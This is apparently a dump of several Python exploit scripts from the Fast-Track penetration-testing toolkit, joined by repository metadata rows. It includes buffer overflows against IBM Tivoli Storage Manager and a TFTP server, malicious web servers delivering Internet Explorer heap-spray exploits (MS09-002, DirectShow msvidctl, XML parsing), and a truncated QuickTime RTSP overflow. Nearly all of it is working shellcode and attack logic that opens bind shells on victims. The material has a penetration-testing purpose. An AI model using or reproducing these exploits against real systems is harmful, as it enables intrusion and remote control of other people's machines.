buffer+="ItsanewdawnItsanewdayItsanewlifeFormeitsanewdawnitsanewdayforme" buffer+=(choice) buffer+="\x90"*4 buffer+=( # win32_bind - EXITFUNC=seh LPORT=4444 Size=696 Encoder=Alpha2 http://metasploit.com */ "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x49\x49\x49\x49\x37\x49" "\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x49\x51\x5a\x6a\x61" "\x58\x50\x30\x41\x31\x42\x41\x6b\x41\x41\x71\x41\x32\x41\x41\x32" "\x42\x41\x30\x42\x41\x58\x50\x38\x41\x42\x75\x68\x69\x49\x6c\x31" "\x7a\x68\x6b\x62\x6d\x49\x78\x4b\x49\x39\x6f\x6b\x4f\x39\x6f\x33" "\x50\x4e\x6b\x52\x4c\x34\x64\x74\x64\x6e\x6b\x42\x65\x67\x4c\x6c" "\x4b\x41\x6c\x46\x65\x42\x58\x57\x71\x7a\x4f\x6c\x4b\x50\x4f\x65" "\x48\x4e\x6b\x71\x4f\x51\x30\x37\x71\x58\x6b\x77\x39\x4e\x6b\x75" "\x64\x4c\x4b\x53\x31\x5a\x4e\x44\x71\x4b\x70\x6f\x69\x6e\x4c\x6c" "\x44\x69\x50\x42\x54\x45\x57\x4f\x31\x7a\x6a\x36\x6d\x54\x41\x6b" "\x72\x78\x6b\x69\x64\x47\x4b\x50\x54\x36\x44\x64\x68\x43\x45\x4a" "\x45\x6e\x6b\x41\x4f\x56\x44\x65\x51\x48\x6b\x75\x36\x6c\x4b\x64" "\x4c\x50\x4b\x6e\x6b\x71\x4f\x77\x6c\x34\x41\x48\x6b\x53\x33\x66" "\x4c\x6e\x6b\x4b\x39\x30\x6c\x36\x44\x65\x4c\x51\x71\x4f\x33\x57" "\x41\x39\x4b\x71\x74\x4c\x4b\x50\x43\x76\x50\x4e\x6b\x41\x50\x54" "\x4c\x6e\x6b\x32\x50\x45\x4c\x4c\x6d\x6e\x6b\x47\x30\x36\x68\x73" "\x6e\x32\x48\x6c\x4e\x30\x4e\x56\x6e\x5a\x4c\x56\x30\x6b\x4f\x4b" "\x66\x71\x76\x62\x73\x31\x76\x45\x38\x74\x73\x76\x52\x71\x78\x63" "\x47\x63\x43\x76\x52\x31\x4f\x41\x44\x79\x6f\x4e\x30\x65\x38\x58" "\x4b\x48\x6d\x4b\x4c\x75\x6b\x72\x70\x6b\x4f\x7a\x76\x71\x4f\x6f" "\x79\x6d\x35\x51\x76\x6c\x41\x58\x6d\x65\x58\x57\x72\x73\x65\x73" "\x5a\x44\x42\x49\x6f\x6e\x30\x31\x78\x4e\x39\x64\x49\x6a\x55\x4e" "\x4d\x53\x67\x79\x6f\x6e\x36\x41\x43\x31\x43\x46\x33\x73\x63\x42" "\x73\x30\x43\x41\x43\x32\x63\x70\x53\x4b\x4f\x38\x50\x43\x56\x71" "\x78\x74\x51\x33\x6c\x31\x76\x70\x53\x4e\x69\x5a\x41\x4d\x45\x41" "\x78\x4c\x64\x35\x4a\x30\x70\x6b\x77\x52\x77\x6b\x4f\x6e\x36\x62" "\x4a\x34\x50\x72\x71\x76\x35\x69\x6f\x4e\x30\x45\x38\x6e\x44\x4c" "\x6d\x46\x4e\x4d\x39\x46\x37\x59\x6f\x4b\x66\x30\x53\x62\x75\x49" "\x6f\x38\x50\x63\x58\x6b\x55\x37\x39\x4e\x66\x71\x59\x41\x47\x6b" "\x4f\x5a\x76\x70\x50\x51\x44\x31\x44\x70\x55\x6b\x4f\x68\x50\x6e" "\x73\x71\x78\x59\x77\x70\x79\x5a\x66\x71\x69\x66\x37\x6b\x4f\x6a" "\x76\x52\x75\x4b\x4f\x5a\x70\x71\x76\x31\x7a\x55\x34\x31\x76\x72" "\x48\x50\x63\x72\x4d\x6f\x79\x78\x65\x53\x5a\x72\x70\x72\x79\x76" "\x49\x78\x4c\x4b\x39\x4d\x37\x53\x5a\x32\x64\x6d\x59\x6a\x42\x37" "\x41\x6b\x70\x4b\x43\x4f\x5a\x49\x6e\x63\x72\x56\x4d\x49\x6e\x30" "\x42\x64\x6c\x6d\x43\x6c\x4d\x62\x5a\x75\x68\x6c\x6b\x6e\x4b\x6e" "\x4b\x50\x68\x43\x42\x49\x6e\x6c\x73\x62\x36\x69\x6f\x74\x35\x30" "\x44\x6b\x4f\x48\x56\x53\x6b\x70\x57\x73\x62\x71\x41\x70\x51\x76" "\x31\x63\x5a\x57\x71\x42\x71\x66\x31\x72\x75\x71\x41\x49\x6f\x68" "\x50\x75\x38\x4c\x6d\x79\x49\x74\x45\x5a\x6e\x32\x73\x4b\x4f\x6e" "\x36\x72\x4a\x6b\x4f\x6b\x4f\x50\x37\x79\x6f\x4e\x30\x6e\x6b\x46" "\x37\x69\x6c\x4f\x73\x69\x54\x52\x44\x49\x6f\x4b\x66\x43\x62\x6b" "\x4f\x5a\x70\x51\x78\x7a\x50\x4f\x7a\x76\x64\x31\x4f\x33\x63\x4b" "\x4f\x48\x56\x49\x6f\x48\x50\x61") expl = socket.socket ( socket.AF_INET, socket.SOCK_STREAM ) print " [*] Connecting to "+target expl.connect ( ( target, 1581 ) ) print " [*] Sending evil buffer, ph33r" expl.send ( 'GET /BACLIENT HTTP/1.0\r\nHost: 192.168.1.1 '+ buffer+'\r\n\r\n') expl.close() print " [*] Check port 4444 for bindshell" print " Launching netcat to check...If you have a shell you were successful..." ncstart=os.popen2('xterm -T "IBM Tivoli Storage Manager Express CAD Service Buffer Overflow" -e nc -v %s 4444' % (target)) except Exception, e: print "\n Something went wrong. Might not be vulnerable..\n Printing error: "+str(e)+"\n Returning to exploits menu..." time.sleep(4)
5,371
Python
.py
102
47.882353
132
0.676841
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,393
tftp.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/tftp.py
#!/usr/bin/env python # TFTP Server for Windows V1.4 ST (0day) # http://sourceforge.net/projects/tftp-server/ # Tested on Windows Vista SP0. # Coded by Mati Aharoni # muts..at..offensive-security.com # http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt ################################################################## # bt ~ # sourceforge-tftpd.py # [*] TFTP Server for Windows V1.4 ST (0day) # [*] http://www.offensive-security.com # [*] Sending evil packet, ph33r # [*] Check port 4444 for bindshell # bt ~ # nc -v 172.16.167.134 4444 # (UNKNOWN) [172.16.167.134] 4444 (krb524) open # Microsoft Windows [Version 6.0.6000] # Copyright (c) 2006 Microsoft Corporation. All # rights reserved. # # C:\Windows\system32> ################################################################## #import os import socket import sys import time import subprocess #from bin.include import print_banner #print_banner() print """ ***************************************************************** * TFTP Server for Windows V1.4 ST (0day) * http://sourceforge.net/projects/tftp-server/ * Tested on Windows Vista SP0. * Coded by Mati Aharoni * muts..at..offensive-security.com * http://www.offensive-security.com/0day/sourceforge-tftpd.py.txt ***************************************************************** """ host=raw_input(" Enter the IP Address of the TFTP Server: ") port = 69 try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) except: print "sock() failed" sys.exit(1) # Jump back shellcode sc = "\x6a\x05\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x16\x91\x9c" sc +="\x30\x83\xeb\xfc\xe2\xf4\xcf\x7f\x45\x44\x32\x65\xc5\xb0\xd7\x9b" sc +="\x0c\xce\xdb\x6f\x51\xcf\xf7\x91\x9c\x30" # windows/shell_bind_tcp - 317 bytes # http://www.metasploit.com # EXITFUNC=seh, LPORT=4444 shell=("\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b" "\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01" "\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07" "\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f" "\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b" "\x89\x6c\x24\x1c\x61\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c" "\x8b\x70\x1c\xad\x8b\x40\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff" "\xd6\x66\x53\x66\x68\x33\x32\x68\x77\x73\x32\x5f\x54\xff\xd0" "\x68\xcb\xed\xfc\x3b\x50\xff\xd6\x5f\x89\xe5\x66\x81\xed\x08" "\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09\xf5\xad\x57\xff\xd6\x53" "\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x66\x68\x11\x5c\x66" "\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff\xd6\x6a\x10\x51" "\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53\x55\xff\xd0" "\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff\xd0\x93" "\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64\x66" "\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89" "\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38" "\xab\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57" "\x52\x51\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9" "\x05\xce\x53\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83" "\xc4\x64\xff\xd6\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6" "\xff\xd0") filename = "\x90"*860 + shell + "\x90"*14 + sc + "\xeb\xd0\x90\x90" + "\x2b\x0e\x41" mode = "netascii" muha = "\x00\x02" + filename+ "\0" + mode+ "\0" print "[*] Sending evil packet, ph33r" try: s.sendto(muha, (host, port)) except Exception: print " Failed to send the exploit, is the server up?" print " Connecting to victim on 4444 in 10 seconds...\n" time.sleep(10) connecting=subprocess.Popen("nc %s 4444" % (host), shell=True).wait()
3,617
Python
.py
84
41.571429
84
0.664016
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,394
goodtech.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/goodtech.py
#!/usr/bin/env python # import subprocess import os import time try: import paramiko #@UnresolvedImport @UnusedImport import sys except IndexError: print "Paramiko SSH Module not installed, download from:\n http://www.lag.net/paramiko/download/paramiko-1.7.4.tar.gz\nor in debian package is python-paramiko" print "\nExiting Fast-Track....\n\n" time.sleep(3) sys.exit() definepath=os.getcwd() launch=subprocess.Popen("python %s/bin/exploits/goodtech1.py" % (definepath), shell=True).wait()
519
Python
.py
15
31.666667
163
0.755511
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,395
ms08067run.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/ms08067run.py
#!/usr/bin/env python # # had to add this due to paramariko dying when importing the function # # import os import sys import subprocess try: from impacket import smb from impacket import uuid from impacket.dcerpc import dcerpc from impacket.dcerpc import transport except ImportError, _: print ' Install the following library to make this script work' print ' Impacket : http://oss.coresecurity.com/projects/impacket.html' print ' PyCrypto : http://www.amk.ca/python/code/crypto.html' print "\n\n Exiting Fast-Track...\n\n" sys.exit(1) definepath=os.getcwd() launch=subprocess.Popen("python %s/bin/exploits/ms08067.py" % (definepath), shell=True).wait()
703
Python
.py
21
30.761905
94
0.737537
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,396
xmlcorruptionbo.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/xmlcorruptionbo.py
#!/usr/bin/env python # Import modules needed here..all standard Python modules # # XML Parsing Buffer Overflow Heap Spray # # Most of the code was taken from Krafty's allinone exploit # Greetz to Muts, HDM # # Rewritten by: David Kennedy aka ReL1K # Tested on Windows 2k3 SP2 # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */ # from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler import time import subprocess import sys import os #from bin.include import print_banner #print_banner() try: import psyco psyco.full() except ImportError: pass class myRequestHandler(BaseHTTPRequestHandler): try: def do_GET(self): # Always Accept GET self.printCustomHTTPResponse(200) # Site root: Main Menu if self.path == "/": target=self.client_address[0] self.wfile.write("""<html><head>""") self.wfile.write("""<div id="replace">x</div> <script> // win32_bind - EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */ var shellcode = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3"); var spray = unescape("%u0a0a%u0a0a"); do { spray += spray; } while(spray.length < 0xd0000); memory = new Array(); for(i = 0; i < 100; i++) memory[i] = spray + shellcode; xmlcode = "<XML ID=I><X><C><![CDATA[<image SRC=http://&#x0a0a;&#x0a0a;.example.com>]]></C></X></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML><XML ID=I></XML><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN></SPAN>"; tag = document.getElementById("replace"); tag.innerHTML = xmlcode; </script>""") self.wfile.write("""<title>XML Parsing Exploit</title></head><body>""") self.wfile.write("""<left><body bgcolor="Black"><font color="White"><p>Exploit is running</p><br>""") print "\n\n*** Exploit sent...wait about 30 seconds and attempt to connect to the machine at IP Address: %s and port 5500 ***" % (target) print "*** Example: open up a command shell and type nc %s 5500 ***" % (target) # Print custom HTTP Response def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() # In case of exceptions, pass them except Exception: pass httpd = HTTPServer(('', 80), myRequestHandler) print """ ################################################# XML Parsing Buffer Overflow Heap Spray Universal ################################################# Most of the code was taken from Krafty's allinone exploit Greetz to Muts, HDM, Stazz, Sasquatch, Leroy, Whipsmack Rewritten by: David Kennedy (ReL1K), SecureState This exploit is already included in Fast-Track v4.0 Tested on Windows 2k3 R2 SP2 win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai """ print " Starting XML Parsing Exploit on Web Server:80\n" print " *** Have someone connect to you on port 80 ***\n" print " <ctrl>-c to Cancel" try: # open for business httpd.handle_request() # Serve HTTP server forever httpd.serve_forever() # Except Keyboard Interrupts and throw custom message except KeyboardInterrupt: print "\n\n Exiting exploit...\n\n" raise KeyboardInterrupt #sys.exit()
4,319
Python
.py
87
46.528736
1,061
0.725249
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,397
ms09002.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/ms09002.py
#!/usr/bin/env python ############################################################################### # MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) # ############################################################################### # # # Thanks to str0ke for finding this in the wild. # # # # Tested on Windows 2003 SP2 R2 # # # # Written by SecureState R&D Team (ReL1K) # # http://www.securestate.com # # # # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind # # # ############################################################################### from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler #import os #import sys #from bin.include import print_banner #print_banner() try: import psyco psyco.full() except ImportError: pass class myRequestHandler(BaseHTTPRequestHandler): try: def do_GET(self): # Always Accept GET self.printCustomHTTPResponse(200) # Site root: Main Menu if self.path == "/": target=self.client_address[0] self.wfile.write("""<html><head>""") self.wfile.write("""<div id="replace">x</div> <script language="JavaScript"> // win32_bind - EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */ var c = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3"); var array = new Array(); var ls = 0x100000-(c.length*2+0x01020); var b = unescape("%u0C0C%u0C0C"); while(b.length<ls/2) { b+=b;} var lh = b.substring(0,ls/2); delete b; for(i=0; i<0xC0; i++) { array[i] = lh + c; } CollectGarbage(); var s1=unescape("%u0b0b%u0b0bAAAAAAAAAAAAAAAAAAAAAAAAA"); var a1 = new Array(); for(var x=0;x<1000;x++) a1.push(document.createElement("img")); function ok() { o1=document.createElement("tbody"); o1.click; var o2 = o1.cloneNode(); o1.clearAttributes(); o1=null; CollectGarbage(); for(var x=0;x<a1.length;x++) a1[x].src=s1; o2.click; } </script><script>window.setTimeout("ok();",800);</script>""") self.wfile.write("""<title>Microsoft Internet Explorer 7 Memory Corruption Exploit</title></head><body>""") self.wfile.write("""<left><body bgcolor="Black"><font color="White"><p>Exploit is running...</p><br>""") print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-]NetCat to IP Address: %s and port 5500 [-]" % (target)) #print ("[-] Example: open up a command shell and type 'nc %s 5500' [-]" % (target)) # Print custom HTTP Response def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() # In case of exceptions, pass them except Exception: pass httpd = HTTPServer(('', 80), myRequestHandler) print (""" ######################################################################### MS Internet Explorer 7 Memory Corruption Exploit (MS09-002) ######################################################################### # # # Thanks to Str0ke for finding this in the wild. # # # # Tested on Windows 2003 SP2 R2 # # # # Written by SecureState R&D Team # # http://www.securestate.com # # # # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai bind # # # ######################################################################### """) print (" [-] Starting MS Internet Explorer 7 Memory Corruption Exploit [-]") print (" [-] Have someone connect to you on port 80 [-]") print (" <ctrl>-c to Cancel") try: # handle the connections httpd.handle_request() # Serve HTTP server forever httpd.serve_forever() # Except Keyboard Interrupts and throw custom message except KeyboardInterrupt: print ("\n\n Exiting Fast-Track...\n\n") raise KeyboardInterrupt
5,296
Python
.py
104
45.942308
1,053
0.594668
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,398
ie0day_activex.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/ie0day_activex.py
#!/usr/bin/env python ###################################################################################### # MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (Advisory 972890) # ###################################################################################### # # # Written by SecureState R&D Team # # Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin # # http://www.securestate.com # # # # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind # # # ###################################################################################### # Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7 # ###################################################################################### # # # This exploit is publicly being exploited in the wild, opted to release this # # to the research community. Microsoft is aware of the vulnerability. # # # ###################################################################################### # # # [-] Exploit sent... [-] # # [-] Wait about 30 seconds and attempt to connect.[-] # # [-] Connect to IP Address: 10.211.55.140 and port 5500 [-] # # # # relik@sslinuxvm1:~$ telnet 10.211.55.140 5500 # # Trying 10.211.55.140... # # Connected to 10.211.55.140. # # Escape character is '^]'. # # Microsoft Windows [Version 5.2.3790] # # (C) Copyright 1985-2003 Microsoft Corp. # # # # C:\Documents and Settings\Administrator\Desktop> # # # # # # NOTE: The javascript code is not obfuscated in anyway, normal A/V should pick this # # up. This is intentional. # # # # Improved reliability, appears to be about 95 percent of the time. Adjusted the # # spray size a bit. # # # ###################################################################################### from BaseHTTPServer import HTTPServer from BaseHTTPServer import BaseHTTPRequestHandler import sys import binascii #from bin.include import print_banner #print_banner() try: import psyco psyco.full() except ImportError: pass class myRequestHandler(BaseHTTPRequestHandler): try: def do_GET(self): # Always Accept GET self.printCustomHTTPResponse(200) # trigger the overflow *boom* if self.path == "/ohn0es.jpg": unhex=binascii.unhexlify("000300001120340000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff0c0c0c0c00") self.wfile.write(unhex) if self.path == "/": target=self.client_address[0] self.wfile.write("""<html><head>""") self.wfile.write(""" <script language="JavaScript" defer> function Check() { // win32_bind - EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai http://metasploit.com */ var shellcode = unescape("%ud9db%u74d9%uf424%uc929%u51b1%u02bf%u6c21%u588e%u7831%u8317%u04c0%u7a03%u8e32%u867b%ua55e%u9ec9%uc666%ua12d%ub2f9%u79be%u4fde%ubd7b%u2c95%uc581%u23a8%u7a02%u30b3%ua44a%uadc2%u2f3c%ubaf0%uc1be%u7cc8%ub159%ubdaf%uce2e%uf76e%ud1c2%ue3b2%uea29%ud066%u79f9%u9362%ua5a5%u4f6d%u2e3f%uc461%u6f4b%udb66%u8ca0%u50ba%ufebf%u7ae6%u3da1%u59d7%u4a45%u6e5b%u0c0d%u0550%u9061%u92c5%ua0c2%ucd4b%ufe4c%ue17d%u0101%u9f57%u9bf2%u5330%u0bc7%ue0b6%u9415%uf86c%u428a%ueb46%ua9d7%u0b08%u92f1%u1621%uad98%ud1df%uf867%ue075%ud298%u3de2%u276f%uea5f%u118f%u46f3%uce23%u2ba7%ub390%u5314%u55c6%ubef3%uff9b%u4850%u6a82%uee3e%ue45f%ub978%ud2a0%u56ed%u8f0e%u860e%u8bd8%u095c%u84f0%u8061%u7f51%ufd61%u9a3e%u78d4%u33f7%u5218%uef58%u0eb2%udfa6%ud9a8%ua6bf%u6008%ua717%uc643%u8768%u830a%u41f2%u30bb%u0496%uddde%u4f38%uee08%u8830%uaa20%ub4cb%uf284%u923f%ub019%u1c92%u19a7%u6d7e%u5a52%uc62b%uf208%ue659%u15fc%u6361%ue547%ud04b%u4b10%ub725%u01cf%u66c4%u80a1%u7797%u4391%u5eb5%u5a17%u9f96%u08ce%ua0e6%u33d8%ud5c8%u3070%u2d6a%u371a%uffbb%u171c%u0f2c%u9c68%ubcf2%u4b92%u92f3"); var bigblock = unescape("%u9090%u9090"); var headersize = 20; var slackspace = headersize + shellcode.length; while (bigblock.length < slackspace) bigblock += bigblock; var fillblock = bigblock.substring(0,slackspace); var block = bigblock.substring(0,bigblock.length - slackspace); // Original spray size below, use if you want exploit to load faster with higher crash rate. // while (block.length + slackspace < 0x40000) block = block + block + fillblock; while (block.length + slackspace < 0x70000) block = block + block + fillblock; var memory = new Array(); for (i = 0; i < 350; i++){ memory[i] = block + shellcode} var myObject=document.createElement('object'); DivID.appendChild(myObject); myObject.width='1'; myObject.height='1'; myObject.data='./ohn0es.jpg'; // Vulnerable ID myObject.classid='clsid:0955AC62-BF2E-4CBA-A2B9-A63F772D46CF'; } </script> </head> <body onload="Check();"> <div id="DivID">""") self.wfile.write("""<title>MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (Advisory 972890)</title></head><body>""") self.wfile.write("""<left><body bgcolor="Black"><font color="White"> ############################################################################### <br>MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (MS09-028) <br>Written by SecureState R&D Team <br>Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin <br>http://www.securestate.com <br>win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind <br>Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7 <br>###############################################################################<br> <br>""") print ("\n\n[-] Exploit sent... [-]\n[-] Wait about 30 seconds and attempt to connect.[-]\n[-] Connect to IP Address: %s and port 5500 [-]" % (target)) # Print custom HTTP Response def printCustomHTTPResponse(self, respcode): self.send_response(respcode) self.send_header("Content-type", "text/html") self.send_header("Server", "myRequestHandler") self.end_headers() # In case of exceptions, pass them except Exception: pass httpd = HTTPServer(('', 80), myRequestHandler) print (""" ##################################################################################### # MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray (MS09-028) # ##################################################################################### # # # Written by SecureState R&D Team # # Authors: David Kennedy (ReL1K), John Melvin (Whipsmack), Steve Austin # # http://www.securestate.com # # # # win32_bind EXITFUNC=seh LPORT=5500 Size=314 Encoder=ShikataGaNai Shell=bind # # # ##################################################################################### # Tested on WinXPSP3, Win2k3SP2, WinXPSP2 on IE6 and IE7 # ##################################################################################### """) print (" [-] Starting MS Internet Explorer 7 DirectShow (msvidctl.dll) Heap Spray [-]") print (" [-] Have someone connect to you on port 80 [-]") print ("\n\n <ctrl>-c to Cancel") try: # handle the connections httpd.handle_request() # Serve HTTP server forever httpd.serve_forever() # Except Keyboard Interrupts and throw custom message except KeyboardInterrupt: print ("\n\n Exiting exploit...\n\n") raise KeyboardInterrupt
8,542
Python
.py
141
54.361702
1,069
0.529116
pwnieexpress/raspberry_pwn
1,024
184
8
GPL-3.0
9/5/2024, 5:12:22 PM (Europe/Amsterdam)
19,399
quicktime.py
pwnieexpress_raspberry_pwn/src/pentest/fasttrack/bin/exploits/quicktime.py
#!/usr/bin/env python # # Quicktime 7.3 RTSP BufferOverflow Exploit # # Original DoS exploit by h07 # Rewritten by: ReL1K # SEH Overwrite # # A ton of help from Muts from offensive-security. # # root@sslinux1:/home/relik/Desktop# python quicktime.py # [+] Listening on [RTSP] 554 # [+] Connection accepted from: 10.211.55.5 # [+] Done, connect to 10.211.55.5 on port 3333 # root@sslinuxvm12:/home/relik/Desktop# nc 10.211.55.5 3333 # Microsoft Windows [Version 5.2.3790] # (C) Copyright 1985-2003 Microsoft Corp. # # C:\Program Files\QuickTime> from socket import * import subprocess import time import os import sys #from bin.include import print_banner header = ( 'RTSP/1.0 200 OK\r\n' 'CSeq: 1\r\n' 'Date: 0x00 :P\r\n' 'Content-Base: rtsp://0.0.0.0/1.mp3/\r\n' 'Content-Type: %s\r\n' # <-- overflow 'Content-Length: %d\r\n' '\r\n') body = ( 'v=0\r\n' 'o=- 16689332712 1 IN IP4 0.0.0.0\r\n' 's=MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n' 'i=1.mp3\r\n' 't=0 0\r\n' 'a=tool:ciamciaramcia\r\n' 'a=type:broadcast\r\n' 'a=control:*\r\n' 'a=range:npt=0-213.077\r\n' 'a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by the PoC Exploit o.O\r\n' 'a=x-qt-text-inf:1.mp3\r\n' 'm=audio 0 RTP/AVP 14\r\n' 'c=IN IP4 0.0.0.0\r\n' 'a=control:track1\r\n' ) buffer = "\x42" * 991 shortjmp ="\xeb\x30\x90\x90" # eb = short jmp 30 bytes pop = "\x4e\x28\x86\x66" 